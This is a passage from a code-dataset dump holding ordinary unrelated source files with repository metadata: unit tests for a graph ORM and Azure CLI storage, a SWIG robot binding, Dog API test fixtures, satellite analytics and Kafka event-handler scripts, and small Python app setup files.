self.orm.node_mapping.update(second_orm.node_mapping)
self.assertEqual(len(self.orm.node_mapping), 3)
def test_graph_orm_mapping_update_from_mapping_with_duplicate(self):
"""
Test update from other orm mapping
"""
self.orm.node_mapping.add(ORMtestTgf6, lambda x: x.get('key') == 'six')
# Build second ORM
second_orm = GraphORM()
for cls in (ORMtestTgf9, ORMtestTgf6, ORMtestBi):
second_orm.node_mapping.add(cls, lambda x: x.get('key') == 'six')
# Update
self.orm.node_mapping.update(second_orm.node_mapping)
self.assertEqual(len(self.orm.node_mapping), 3)
def test_graph_orm_mapping_auto_increment_index(self):
"""
Test automatic mapping index ID increment
"""
# Add 3 mappings
idx_list = [self.orm.node_mapping.add(cls, lambda x: x.get('key') == 'six') for
cls in (ORMtestTgf9, ORMtestTgf6, ORMtestBi)]
self.assertEqual(len(self.orm.node_mapping), 3)
self.assertEqual(list(self.orm.node_mapping.keys()), idx_list)
# Remove index 2 and add new mapping. Index should be 4 and index 2
# will not be reused
self.orm.node_mapping.remove(2)
idx = self.orm.node_mapping.add(ORMtestTgf6, lambda x: x.get('key') == 'six')
self.assertEqual(idx, 4)
class TestGraphORM(UnittestPythonCompatibility):
currpath = os.path.dirname(__file__)
_gpf_graph = os.path.abspath(os.path.join(currpath, '../files/graph.tgf'))
def setUp(self):
"""
ConfigHandlerTests class setup
Load graph from file and assign custom classes to labels and register
with the ORM.
"""
self.graph = read_tgf(self._gpf_graph)
self.orm = GraphORM()
self.orm.edge_mapping.add(ORMtestMo, lambda x: x.get('label') == 'mo')
self.orm.edge_mapping.add(ORMtestBi, lambda x: x.get('label') == 'bi')
self.orm.node_mapping.add(ORMtestTgf6, lambda x: x.get('key') == 'six')
self.orm.node_mapping.add(ORMtestTgf9, lambda x: x.get('key') == 'nine' or x.get('ids') == 'edi')
self.graph.orm = self.orm
self.graph.nodes[6]['add'] = 6
self.graph.nodes[6]['ids'] = 'edi'
def test_graph_orm_mapping(self):
"""
Test the class list resolved for a node mapping
"""
d = self.graph.orm.node_mapping.match(self.graph, [6])
self.assertEqual(d, [ORMtestTgf6, ORMtestTgf9])
def test_graph_orm_node(self):
"""
Test ORM class mapping for nodes
"""
self.assertEqual(self.graph.getnodes(6).add, 6)
self.assertTrue(hasattr(self.graph.getnodes(6), 'get_label'))
self.assertEqual(self.graph.getnodes(6).get_label(), "tgf6 class 6")
# Node 9 has a custom class but misses the 'add' attribute
self.assertFalse(hasattr(self.graph.getnodes(9), 'add'))
self.assertTrue(hasattr(self.graph.getnodes(9), 'get_label'))
self.assertRaises(AttributeError, self.graph.getnodes(9).get_label)
def test_graph_orm_edge(self):
"""
Test ORM class mapping for edges
"""
for e, v in self.graph.edges.items():
label = v.get('label')
if label == 'bi':
self.assertTrue(hasattr(self.graph.getedges(e), 'get_label'))
self.assertEqual(self.graph.getedges(e).get_label(), "bi class")
elif label == 'mo':
self.assertTrue(hasattr(self.graph.getedges(e), 'get_label'))
self.assertEqual(self.graph.getedges(e).get_label(), "mo class")
def test_graph_orm(self):
"""
Test dynamic inheritance
"""
# Get node 6 from the full graph and then children of 6 from node 6 object
self.graph.root = 1
node6 = self.graph.getnodes(6)
children = node6.getnodes(9)
# Node 6 should have node6 specific get_label method
self.assertEqual(node6.get_label(), 'tgf6 class 6')
# Changing the custom class 'add' attribute only affects the
# particular node
node6.add += 1
self.assertEqual(node6.add, 7)
self.assertRaises(AttributeError, children.get_label)
def test_graph_orm_inherit(self):
"""
Test inheritance of non-package classes in ORM generated classes
"""
# Turn inheritance of
self.graph.orm.inherit = False
# First call to ORM from base, node 6 should still have 'add' attribute
node6 = self.graph.getnodes(6)
self.assertTrue('add' in node6)
# Second call to ORM from node 6, node 9 should not have 'add'
node9 = node6.getnodes(9)
self.assertFalse(hasattr(node9, 'add'))
def test_graph_mro(self):
"""
Test python Method Resolution Order management
"""
# Default behaviour
d = self.graph.orm.get_nodes(self.graph, [6])
dmro = [cls.__name__ for cls in d.mro()]
self.assertEqual(dmro, ['GraphBase', 'ORMtestTgf6', 'ORMtestTgf9', 'GraphBase', 'object'])
# ORMtestTgf9 first
self.graph.orm.node_mapping[2]['mro_pos'] = -10
d = self.graph.orm.get_nodes(self.graph, [6])
dmro = [cls.__name__ for cls in d.mro()]
self.assertEqual(dmro, ['GraphBase', 'ORMtestTgf9', 'ORMtestTgf6', 'GraphBase', 'object'])
| 32.358156 | 111 | 0.626192 | 8,806 | 0.965041 | 0 | 0 | 122 | 0.01337 | 0 | 0 | 2,592 | 0.284055 |
3405aae6a2b0713fec880df0831625e4b08bb01c | 8,578 | py | Python | naoqi-sdk-2.5.5.5-linux64/lib/python2.7/site-packages/ialbehavior.py | applejenny66/docker_pepper | 2469cc4db6585161a31ac44c8fcf2605d71318b1 | [
"MIT"
] | null | null | null | naoqi-sdk-2.5.5.5-linux64/lib/python2.7/site-packages/ialbehavior.py | applejenny66/docker_pepper | 2469cc4db6585161a31ac44c8fcf2605d71318b1 | [
"MIT"
] | null | null | null | naoqi-sdk-2.5.5.5-linux64/lib/python2.7/site-packages/ialbehavior.py | applejenny66/docker_pepper | 2469cc4db6585161a31ac44c8fcf2605d71318b1 | [
"MIT"
] | null | null | null | # This file was automatically generated by SWIG (http://www.swig.org).
# Version 2.0.11
#
# Do not make changes to this file unless you know what you are doing--modify
# the SWIG interface file instead.
from sys import version_info
if version_info >= (2,6,0):
def swig_import_helper():
from os.path import dirname
import imp
fp = None
try:
fp, pathname, description = imp.find_module('_ialbehavior', [dirname(__file__)])
except ImportError:
import _ialbehavior
return _ialbehavior
if fp is not None:
try:
_mod = imp.load_module('_ialbehavior', fp, pathname, description)
finally:
fp.close()
return _mod
_ialbehavior = swig_import_helper()
del swig_import_helper
else:
import _ialbehavior
del version_info
try:
_swig_property = property
except NameError:
pass # Python < 2.2 doesn't have 'property'.
def _swig_setattr_nondynamic(self,class_type,name,value,static=1):
if (name == "thisown"): return self.this.own(value)
if (name == "this"):
if type(value).__name__ == 'SwigPyObject':
self.__dict__[name] = value
return
method = class_type.__swig_setmethods__.get(name,None)
if method: return method(self,value)
if (not static):
self.__dict__[name] = value
else:
raise AttributeError("You cannot add attributes to %s" % self)
def _swig_setattr(self,class_type,name,value):
return _swig_setattr_nondynamic(self,class_type,name,value,0)
def _swig_getattr(self,class_type,name):
if (name == "thisown"): return self.this.own()
method = class_type.__swig_getmethods__.get(name,None)
if method: return method(self)
raise AttributeError(name)
def _swig_repr(self):
try: strthis = "proxy of " + self.this.__repr__()
except: strthis = ""
return "<%s.%s; %s >" % (self.__class__.__module__, self.__class__.__name__, strthis,)
try:
_object = object
_newclass = 1
except AttributeError:
class _object : pass
_newclass = 0
class SwigPyIterator(_object):
__swig_setmethods__ = {}
__setattr__ = lambda self, name, value: _swig_setattr(self, SwigPyIterator, name, value)
__swig_getmethods__ = {}
__getattr__ = lambda self, name: _swig_getattr(self, SwigPyIterator, name)
def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined - class is abstract")
__repr__ = _swig_repr
__swig_destroy__ = _ialbehavior.delete_SwigPyIterator
__del__ = lambda self : None;
def value(self): return _ialbehavior.SwigPyIterator_value(self)
def incr(self, n=1): return _ialbehavior.SwigPyIterator_incr(self, n)
def decr(self, n=1): return _ialbehavior.SwigPyIterator_decr(self, n)
def distance(self, *args): return _ialbehavior.SwigPyIterator_distance(self, *args)
def equal(self, *args): return _ialbehavior.SwigPyIterator_equal(self, *args)
def copy(self): return _ialbehavior.SwigPyIterator_copy(self)
def next(self): return _ialbehavior.SwigPyIterator_next(self)
def __next__(self): return _ialbehavior.SwigPyIterator___next__(self)
def previous(self): return _ialbehavior.SwigPyIterator_previous(self)
def advance(self, *args): return _ialbehavior.SwigPyIterator_advance(self, *args)
def __eq__(self, *args): return _ialbehavior.SwigPyIterator___eq__(self, *args)
def __ne__(self, *args): return _ialbehavior.SwigPyIterator___ne__(self, *args)
def __iadd__(self, *args): return _ialbehavior.SwigPyIterator___iadd__(self, *args)
def __isub__(self, *args): return _ialbehavior.SwigPyIterator___isub__(self, *args)
def __add__(self, *args): return _ialbehavior.SwigPyIterator___add__(self, *args)
def __sub__(self, *args): return _ialbehavior.SwigPyIterator___sub__(self, *args)
def __iter__(self): return self
SwigPyIterator_swigregister = _ialbehavior.SwigPyIterator_swigregister
SwigPyIterator_swigregister(SwigPyIterator)
import inaoqi
class behavior(inaoqi.baseModule):
__swig_setmethods__ = {}
for _s in [inaoqi.baseModule]: __swig_setmethods__.update(getattr(_s,'__swig_setmethods__',{}))
__setattr__ = lambda self, name, value: _swig_setattr(self, behavior, name, value)
__swig_getmethods__ = {}
for _s in [inaoqi.baseModule]: __swig_getmethods__.update(getattr(_s,'__swig_getmethods__',{}))
__getattr__ = lambda self, name: _swig_getattr(self, behavior, name)
__repr__ = _swig_repr
def __init__(self, *args):
this = _ialbehavior.new_behavior(*args)
try: self.this.append(this)
except: self.this = this
__swig_destroy__ = _ialbehavior.delete_behavior
__del__ = lambda self : None;
def autoBind(self, *args): return _ialbehavior.behavior_autoBind(self, *args)
def setEnabled(self, *args): return _ialbehavior.behavior_setEnabled(self, *args)
def isEnabled(self): return _ialbehavior.behavior_isEnabled(self)
def setResources(self, *args): return _ialbehavior.behavior_setResources(self, *args)
def waitFor(self, *args): return _ialbehavior.behavior_waitFor(self, *args)
def session(self): return _ialbehavior.behavior_session(self)
def acquireResources(self): return _ialbehavior.behavior_acquireResources(self)
def waitResourcesCallback(self, *args): return _ialbehavior.behavior_waitResourcesCallback(self, *args)
def isResourceFree(self, *args): return _ialbehavior.behavior_isResourceFree(self, *args)
def waitResourceFree(self): return _ialbehavior.behavior_waitResourceFree(self)
def waitResources(self): return _ialbehavior.behavior_waitResources(self)
def releaseResource(self): return _ialbehavior.behavior_releaseResource(self)
def addInput(self, *args): return _ialbehavior.behavior_addInput(self, *args)
def addOutput(self, *args): return _ialbehavior.behavior_addOutput(self, *args)
def addParameter(self, *args): return _ialbehavior.behavior_addParameter(self, *args)
def getParameter(self, *args): return _ialbehavior.behavior_getParameter(self, *args)
def getParametersList(self): return _ialbehavior.behavior_getParametersList(self)
def setParameter(self, *args): return _ialbehavior.behavior_setParameter(self, *args)
def setParentFromName(self, *args): return _ialbehavior.behavior_setParentFromName(self, *args)
def stimulateIO(self, *args): return _ialbehavior.behavior_stimulateIO(self, *args)
def exit(self): return _ialbehavior.behavior_exit(self)
def getBrokerName(self): return _ialbehavior.behavior_getBrokerName(self)
def version(self): return _ialbehavior.behavior_version(self)
def hasTimeline(self): return _ialbehavior.behavior_hasTimeline(self)
def getTimeline(self): return _ialbehavior.behavior_getTimeline(self)
def hasParentTimeline(self): return _ialbehavior.behavior_hasParentTimeline(self)
def getParentTimeline(self): return _ialbehavior.behavior_getParentTimeline(self)
def connectInput(self, *args): return _ialbehavior.behavior_connectInput(self, *args)
def connectParameter(self, *args): return _ialbehavior.behavior_connectParameter(self, *args)
def connectOutput(self, *args): return _ialbehavior.behavior_connectOutput(self, *args)
def _reportError(self, *args): return _ialbehavior.behavior__reportError(self, *args)
behavior_swigregister = _ialbehavior.behavior_swigregister
behavior_swigregister(behavior)
class timeline(_object):
__swig_setmethods__ = {}
__setattr__ = lambda self, name, value: _swig_setattr(self, timeline, name, value)
__swig_getmethods__ = {}
__getattr__ = lambda self, name: _swig_getattr(self, timeline, name)
__repr__ = _swig_repr
def __init__(self, *args):
this = _ialbehavior.new_timeline(*args)
try: self.this.append(this)
except: self.this = this
__swig_destroy__ = _ialbehavior.delete_timeline
__del__ = lambda self : None;
def play(self): return _ialbehavior.timeline_play(self)
def pause(self): return _ialbehavior.timeline_pause(self)
def stop(self): return _ialbehavior.timeline_stop(self)
def goTo(self, *args): return _ialbehavior.timeline_goTo(self, *args)
def getSize(self): return _ialbehavior.timeline_getSize(self)
def getFPS(self): return _ialbehavior.timeline_getFPS(self)
def setFPS(self, *args): return _ialbehavior.timeline_setFPS(self, *args)
timeline_swigregister = _ialbehavior.timeline_swigregister
timeline_swigregister(timeline)
# This file is compatible with both classic and new-style classes.
| 49.017143 | 107 | 0.742597 | 6,098 | 0.710888 | 0 | 0 | 0 | 0 | 0 | 0 | 515 | 0.060037 |
34076bc49c41e49eb9b085cc0d9b6ff981592a3c | 4,654 | py | Python | src/storage-preview/azext_storage_preview/tests/latest/test_storage_file_scenarios.py | haroonf/azure-cli-extensions | 61c044d34c224372f186934fa7c9313f1cd3a525 | [
"MIT"
] | 207 | 2017-11-29T06:59:41.000Z | 2022-03-31T10:00:53.000Z | src/storage-preview/azext_storage_preview/tests/latest/test_storage_file_scenarios.py | haroonf/azure-cli-extensions | 61c044d34c224372f186934fa7c9313f1cd3a525 | [
"MIT"
] | 4,061 | 2017-10-27T23:19:56.000Z | 2022-03-31T23:18:30.000Z | src/storage-preview/azext_storage_preview/tests/latest/test_storage_file_scenarios.py | haroonf/azure-cli-extensions | 61c044d34c224372f186934fa7c9313f1cd3a525 | [
"MIT"
] | 802 | 2017-10-11T17:36:26.000Z | 2022-03-31T22:24:32.000Z | # --------------------------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for license information.
# --------------------------------------------------------------------------------------------
import os
from azure.cli.testsdk import (ResourceGroupPreparer, StorageAccountPreparer, JMESPathCheck, ScenarioTest)
from ..storage_test_util import StorageScenarioMixin
class StorageFileShareScenarios(StorageScenarioMixin, ScenarioTest):
@ResourceGroupPreparer()
@StorageAccountPreparer()
def test_storage_file_upload_small_file_v2(self, resource_group, storage_account_info):
account_info = storage_account_info
share_name = self.create_share(account_info)
curr_dir = os.path.dirname(os.path.realpath(__file__))
local_file = os.path.join(curr_dir, 'upload_file').replace('\\', '\\\\')
local_file_name = 'upload_file'
self.storage_cmd('storage file upload -s {} --source "{}" '
'--content-cache-control no-cache '
'--content-disposition attachment '
'--content-encoding compress '
'--content-language en-US '
'--content-type "multipart/form-data;" '
'--metadata key=val ', account_info, share_name, local_file)
self.storage_cmd('storage file show -s {} -p "{}"', account_info, share_name, local_file_name) \
.assert_with_checks(JMESPathCheck('name', local_file_name),
JMESPathCheck('properties.contentSettings.cacheControl', 'no-cache'),
JMESPathCheck('properties.contentSettings.contentDisposition', 'attachment'),
JMESPathCheck('properties.contentSettings.contentEncoding', 'compress'),
JMESPathCheck('properties.contentSettings.contentLanguage', 'en-US'),
JMESPathCheck('properties.contentSettings.contentType', 'multipart/form-data;'),
JMESPathCheck('metadata', {'key': 'val'}))
dest_dir = 'dest_dir'
from azure.core.exceptions import ResourceNotFoundError
with self.assertRaises(ResourceNotFoundError):
self.storage_cmd('storage file upload -s {} --source "{}" -p {}',
account_info, share_name, local_file, dest_dir)
self.storage_cmd('storage directory create -s {} -n {}', account_info, share_name, dest_dir)
self.storage_cmd('storage file upload -s {} --source "{}" -p {}',
account_info, share_name, local_file, dest_dir)
self.storage_cmd('storage file show -s {} -p "{}"', account_info, share_name, dest_dir + '/' + local_file_name) \
.assert_with_checks(JMESPathCheck('name', local_file_name))
dest_file = 'dest_file.json'
self.storage_cmd('storage file upload -s {} --source "{}" -p {}',
account_info, share_name, local_file, dest_file)
self.storage_cmd('storage file show -s {} -p "{}"', account_info, share_name, dest_file) \
.assert_with_checks(JMESPathCheck('name', dest_file))
dest_path = dest_dir + '/' + dest_file
self.storage_cmd('storage file upload -s {} --source "{}" -p {}',
account_info, share_name, local_file, dest_path)
self.storage_cmd('storage file show -s {} -p "{}"', account_info, share_name, dest_path) \
.assert_with_checks(JMESPathCheck('name', dest_file))
sub_deep_path = dest_dir + '/' + 'sub_dir'
self.storage_cmd('storage directory create -s {} -n {}', account_info, share_name, sub_deep_path)
self.storage_cmd('storage file upload -s {} --source "{}" -p {}',
account_info, share_name, local_file, sub_deep_path)
self.storage_cmd('storage file show -s {} -p "{}"', account_info, share_name,
sub_deep_path + '/' + local_file_name). \
assert_with_checks(JMESPathCheck('name', local_file_name))
sub_deep_file = sub_deep_path + '/' + dest_file
self.storage_cmd('storage file upload -s {} --source "{}" -p {}',
account_info, share_name, local_file, sub_deep_file)
self.storage_cmd('storage file show -s {} -p "{}"', account_info, share_name,
sub_deep_file).assert_with_checks(JMESPathCheck('name', dest_file))
| 51.142857 | 121 | 0.588526 | 4,133 | 0.888053 | 0 | 0 | 4,059 | 0.872153 | 0 | 0 | 1,546 | 0.332187 |
340b77b6abbc62dbe070ea6034ab0b693a686510 | 5,189 | py | Python | API/conftest.py | BahrmaLe/otus_python_homework | 510a4f1971b35048d760fcc45098e511b81bea31 | [
"MIT"
] | 1 | 2021-02-25T15:37:21.000Z | 2021-02-25T15:37:21.000Z | API/conftest.py | BahrmaLe/otus_python_homework | 510a4f1971b35048d760fcc45098e511b81bea31 | [
"MIT"
] | null | null | null | API/conftest.py | BahrmaLe/otus_python_homework | 510a4f1971b35048d760fcc45098e511b81bea31 | [
"MIT"
] | null | null | null | """Fixtures for tests.py (Dogs API testing)"""
import pytest
import requests
URLS = ["https://dog.ceo/dog-api/",
"https://dog.ceo/api/breeds/list/all",
"https://dog.ceo/api/breeds/image/random",
"https://dog.ceo/api/breeds/image/random/3",
"https://dog.ceo/api/breed/hound/images",
"https://dog.ceo/api/breed/hound/images/random",
"https://dog.ceo/api/breed/hound/images/random/3",
"https://dog.ceo/api/breed/hound/list",
"https://dog.ceo/api/breed/hound/afghan/images",
"https://dog.ceo/api/breed/hound/afghan/images/random",
"https://dog.ceo/api/breed/hound/afghan/images/random/3", ]
"""List general ULRS with Dogs API"""
HEADERS = [{"Content-type": "application/json"}, {"Content-type": "text/html"}, {}]
PAIRS = [(url, header) for url in URLS for header in HEADERS]
@pytest.fixture(params=PAIRS)
def pairs_of_response(request):
"""pairwise testing for content-type, headers in responses for all urls """
response = requests.get(request.param[0], headers=request.param[1])
print(request.param[0])
print(request.param[1])
return response
@pytest.fixture()
def listallbreeds():
"""GET Request to https://dog.ceo/api/breeds/list/all and return Json data"""
response = requests.get(URLS[1])
json_data = response.json()
return json_data
@pytest.fixture()
def randomimage():
"""GET Request to "https://dog.ceo/api/breeds/image/random/3"
and return Json data with random image"""
class Randomimage():
""""I don't know why it here, I am google it"""
@staticmethod
def get_random_image():
"""Function for class"""
response = requests.get(URLS[2])
json_data = response.json()
return json_data
return Randomimage()
@pytest.fixture()
def randomthreeimage():
"""GET Request to "https://dog.ceo/api/breeds/image/random"
and return Json data with three random image"""
class Randomimage():
""""I don't know why it here, I am google it"""
@staticmethod
def get_random_three_image():
"""Function for class"""
response = requests.get(URLS[3])
json_data = response.json()
return json_data
return Randomimage()
@pytest.fixture()
def list_of_breed():
"""GET Request to "https://dog.ceo/api/breed/hound/images"
and return Json data with list а all images by breed
"hound" """
response = requests.get(URLS[4])
json_data = response.json()
return json_data
@pytest.fixture()
def get_random_image_by_breed():
"""GET Request to "https://dog.ceo/api/breed/hound/images/random"
and return Json data with random image by breed"""
class Randomimage():
""""I don't know why it here, I am google it"""
@staticmethod
def get_random_image():
"""Function for class"""
response = requests.get(URLS[5])
json_data = response.json()
return json_data
return Randomimage()
@pytest.fixture()
def get_random_three_image_by_breed():
"""GET Request to "https://dog.ceo/api/breed/hound/images/random/3"
and return Json data with random three image
by breed """
class Randomimage():
""""I don't know why it here, I am google it"""
@staticmethod
def get_random_three_image():
"""Function for class"""
response = requests.get(URLS[6])
json_data = response.json()
return json_data
return Randomimage()
@pytest.fixture()
def listallsubbreeds():
"""GET Request to "https://dog.ceo/api/breed/hound/images"
and return Json data with list а all images by sub-breeds
for "hound" """
response = requests.get(URLS[7])
json_data = response.json()
return json_data
@pytest.fixture()
def list_of_subbreed():
"""GET Request to "https://dog.ceo/api/breed/hound/afghan/images"
and return Json data with list а all images by
sub-breed "afghan" """
response = requests.get(URLS[8])
json_data = response.json()
return json_data
@pytest.fixture()
def get_random_image_by_subbreed():
"""GET Request to "https://dog.ceo/api/breed/hound/afghan/images/random"
and return Json data with random image
by sub-breed "afghan" """
class Randomimage():
""""I don't know why it here, I am google it"""
@staticmethod
def get_random_image():
"""Function for class"""
response = requests.get(URLS[9])
json_data = response.json()
return json_data
return Randomimage()
@pytest.fixture()
def get_random_three_image_by_subbreed():
"""GET Request to "https://dog.ceo/api/breed/hound/afghan/images/random/3"
and return Json data with three random
image by sub-breed "afghan" """
class Randomimage():
""""I don't know why it here, I am google it"""
@staticmethod
def get_random_three_image():
"""Function for class"""
response = requests.get(URLS[10])
json_data = response.json()
return json_data
return Randomimage()
| 31.259036 | 83 | 0.631143 | 1,705 | 0.32839 | 0 | 0 | 4,306 | 0.829353 | 0 | 0 | 2,382 | 0.458783 |
340b8f990c1b32dcdd389654c6b09c11a8ed3506 | 2,418 | py | Python | incubator/kafka-connect/kafka-connect.py | CiscoM31/functions | 96e34dfc815d92563ce2421b41c9c18906c8278b | [
"Apache-2.0"
] | 74 | 2017-07-26T17:02:39.000Z | 2021-07-27T22:27:57.000Z | incubator/kafka-connect/kafka-connect.py | CiscoM31/functions | 96e34dfc815d92563ce2421b41c9c18906c8278b | [
"Apache-2.0"
] | 15 | 2017-06-23T23:48:39.000Z | 2019-10-01T09:49:32.000Z | incubator/kafka-connect/kafka-connect.py | CiscoM31/functions | 96e34dfc815d92563ce2421b41c9c18906c8278b | [
"Apache-2.0"
] | 35 | 2017-06-20T14:44:21.000Z | 2021-11-04T12:28:31.000Z | import json
import base64
from kubernetes import client, config
config.load_incluster_config()
v1=client.CoreV1Api()
#Get slack secret
for secrets in v1.list_secret_for_all_namespaces().items:
if secrets.metadata.name == 'slack':
token = base64.b64decode(secrets.data['token'])
print "==> Function ready to listen events..."
def handler(event, context):
util_data = False
try:
if 'op' in event['data']['payload']:
util_data = True;
except:
util_data = False
if util_data == True:
# CREATE operation
if event['data']['payload']['op'] == "c":
first_name = event['data']['payload']['after']['first_name'];
last_name = event['data']['payload']['after']['last_name'];
email = event['data']['payload']['after']['email'];
msg = "Create operation: Added user %s %s with email %s" % (first_name, last_name, email)
print msg;
# DELETE operation
elif event['data']['payload']['op'] == "d":
first_name = event['data']['payload']['before']['first_name'];
last_name = event['data']['payload']['before']['last_name'];
email = event['data']['payload']['before']['email'];
msg = "Delete operation: Deleted user %s %s with email %s" % (first_name, last_name, email)
print msg;
# UPDATE operation
elif event['data']['payload']['op'] == "u":
row_id = event['data']['payload']['before']['id'];
first_name_before = event['data']['payload']['before']['first_name'];
last_name_before = event['data']['payload']['before']['last_name'];
email_before = event['data']['payload']['before']['email'];
first_name_after = event['data']['payload']['after']['first_name'];
last_name_after = event['data']['payload']['after']['last_name'];
email_after = event['data']['payload']['after']['email'];
msg = "Update operation in row with id %s: \n Old value: Name: %s %s and Email: %s \n New value: Name: %s %s and Email %s" % (row_id, first_name_before, last_name_before, email_before, first_name_after, last_name_after, email_after)
print msg;
else:
msg = "Unrecognized operation"
print msg;
else:
print "Payload is empty. Useless event..."
return "Function executed"
| 42.421053 | 244 | 0.58354 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 924 | 0.382134 |
340dfed74a4b1be15e68416365f62da3eb69232c | 2,278 | py | Python | Sentinel2_genAnalytics.py | silentassasin0111/pySatLib | 143b0c480f14dfe1ba00ed57f2ddeca30a14dd9d | [
"MIT"
] | null | null | null | Sentinel2_genAnalytics.py | silentassasin0111/pySatLib | 143b0c480f14dfe1ba00ed57f2ddeca30a14dd9d | [
"MIT"
] | null | null | null | Sentinel2_genAnalytics.py | silentassasin0111/pySatLib | 143b0c480f14dfe1ba00ed57f2ddeca30a14dd9d | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
#!/usr/bin/env python3
from __future__ import print_function
import numpy as np
import os
import argparse
import time
import pandas as pd
from termcolor import colored
from analytics.analyzer import Sentinel2Analyzer
parser = argparse.ArgumentParser(description='Sentinel 2 All band median analytics ')
parser.add_argument("datafolder", help="/path/to/Data/Folder")
parser.add_argument("maskPath", help="/path/to/geotiff/mask.tiff")
parser.add_argument("analyticsSavingPath", help="/path/to/save/analytics_data")
args = parser.parse_args()
data_dir=args.datafolder
mask_path=args.maskPath
analytics_data_path=args.analyticsSavingPath
analyzer=Sentinel2Analyzer()
df=pd.DataFrame(columns=analyzer.analytics_parameters)
saveAsCSV=True
def moduleRun(data_dir,df):
zones=os.listdir(data_dir)
for zone in zones:
dpath=os.path.join(data_dir,zone)
fpaths=os.listdir(dpath)
for fpath in fpaths:
start_time = time.time()
directory=os.path.join(data_dir,zone,fpath)
get_analytics(directory,mask_path,analytics_data_path)
temp=pd.DataFrame([analyzer.analytics_values],columns=analyzer.analytics_parameters)
df=df.append(temp,ignore_index=True)
print(colored('\t|- Time Elapsed : {file_name:s} in {te:s}'.format(file_name=os.path.basename(directory),te=str(time.time()-start_time)),'red'))
print()
return df
def get_analytics(directory,mask_path,analytics_data_path):
analyzer.mask_path=mask_path
analyzer.analytics_data_path=analytics_data_path
analyzer.generateAnalytics(directory)
'''
CODE TO TURN CSV INTO DF:
csv_file_name=''
df=pd.read_csv(csv_file_name,sep='\t',skiprows=[0],names=col_names)
'''
if __name__=='__main__':
df=moduleRun(data_dir,df)
df['Acquisition_Date']=pd.to_datetime(df['Acquisition_Date'])
df.set_index(['Acquisition_Date'],inplace=True)
df=df.sort_index()
csv_file_name=os.path.join(analyzer.analytics_data_path,'analytics.csv')
df.to_csv(csv_file_name, sep='\t', encoding='utf-8')
print(colored('# Saved analytics at: {}'.format(csv_file_name),'green'))
| 28.475 | 156 | 0.701054 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 503 | 0.220808 |
340fc536c46efae344b04de94a881f782bf866ef | 2,198 | py | Python | clfzoo/instance.py | SeanLee97/clfzoo | 8c51ee316d51a4ec1d3e0c5c91a64248d6705214 | [
"MIT"
] | 44 | 2018-11-12T05:06:44.000Z | 2022-03-24T00:40:40.000Z | clfzoo/instance.py | SeanLee97/clfzoo | 8c51ee316d51a4ec1d3e0c5c91a64248d6705214 | [
"MIT"
] | 1 | 2019-08-22T11:40:58.000Z | 2019-08-23T05:26:24.000Z | clfzoo/instance.py | SeanLee97/clfzoo | 8c51ee316d51a4ec1d3e0c5c91a64248d6705214 | [
"MIT"
] | 8 | 2018-11-13T07:13:56.000Z | 2019-08-21T02:24:37.000Z | # -*- coding: utf-8 -*-
import os
import pickle
from clfzoo.dataloader import DataLoader
from clfzoo.vocab import Vocab
class Instance(object):
def __init__(self, config, training=False):
self.logger = config.logger
self.dataloader = DataLoader(config)
if training:
self.logger.info("Preprocesing...")
self.vocab = Vocab()
self.vocab.label2idx = self.dataloader.label2idx
self.vocab.idx2label = self.dataloader.idx2label
for word in self.dataloader.word_iter('train'):
self.vocab.add_word(word)
[self.vocab.add_char(ch) for ch in word]
unfiltered_vocab_size = self.vocab.word_size()
self.vocab.filter_word_by_cnt(config.min_word_freq)
filtered_num = unfiltered_vocab_size - self.vocab.word_size()
self.logger.info('After filter {} tokens, the final vocab size is {}'.format(filtered_num, self.vocab.word_size()))
self.logger.info('Assigning embeddings...')
if config.use_pretrained_embedding and config.pretrained_embedding_file is not None:
self.logger.info("Load pretrained word embedding...")
self.vocab.load_pretrained_word_embeddings(config.pretrained_embedding_file, kernel=config.embedding_kernel)
else:
self.vocab.randomly_word_embeddings(config.word_embed_dim)
self.vocab.randomly_char_embeddings(config.char_embed_dim)
self.logger.info('Saving vocab...')
with open(os.path.join(config.vocab_dir, 'vocab.data'), 'wb') as fout:
pickle.dump(self.vocab, fout)
self.logger.info('====== Done with preparing! ======')
else:
self.logger.info("Load prev vocab......")
with open(os.path.join(config.vocab_dir, 'vocab.data'), 'rb') as fin:
self.vocab = pickle.load(fin)
self.dataloader.label2idx = self.vocab.label2idx
self.dataloader.idx2label = self.vocab.idx2label
def set_data(self, datas, labels=None):
self.dataloader.set_data(self.vocab, datas, labels)
| 43.098039 | 127 | 0.628753 | 2,075 | 0.94404 | 0 | 0 | 0 | 0 | 0 | 0 | 267 | 0.121474 |
340fcc7ec477179690e4471488c43b411756338d | 184 | py | Python | fastapi-transformer-baseline/app/main.py | DeDeckerThomas/NLPiP | 37b4d146f5d9760f779f724c4a0698930f59d6d1 | [
"Apache-2.0"
] | 3 | 2022-03-10T13:33:24.000Z | 2022-03-31T13:31:30.000Z | fastapi-transformer-baseline/app/main.py | DeDeckerThomas/NLPiP | 37b4d146f5d9760f779f724c4a0698930f59d6d1 | [
"Apache-2.0"
] | null | null | null | fastapi-transformer-baseline/app/main.py | DeDeckerThomas/NLPiP | 37b4d146f5d9760f779f724c4a0698930f59d6d1 | [
"Apache-2.0"
] | null | null | null | from fastapi import FastAPI
from routers.api_router import api_router
from core.config import settings
app: FastAPI = FastAPI(title=settings.APP_NAME)
app.include_router(api_router)
| 23 | 47 | 0.836957 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
3411052aa746ccfbb6487b369a2c0dc0e70a536b | 110 | py | Python | girlfriend_project/apps.py | paressuex11/mysite | 416e49ebe041aa8a1f67e56c9664961f5f714ccc | [
"Apache-2.0"
] | null | null | null | girlfriend_project/apps.py | paressuex11/mysite | 416e49ebe041aa8a1f67e56c9664961f5f714ccc | [
"Apache-2.0"
] | 7 | 2020-02-12T02:36:37.000Z | 2022-02-10T10:10:11.000Z | girlfriend_project/apps.py | paressuex11/mysite | 416e49ebe041aa8a1f67e56c9664961f5f714ccc | [
"Apache-2.0"
] | null | null | null | from django.apps import AppConfig
class GirlfriendProjectConfig(AppConfig):
name = 'girlfriend_project'
| 18.333333 | 41 | 0.8 | 73 | 0.663636 | 0 | 0 | 0 | 0 | 0 | 0 | 20 | 0.181818 |
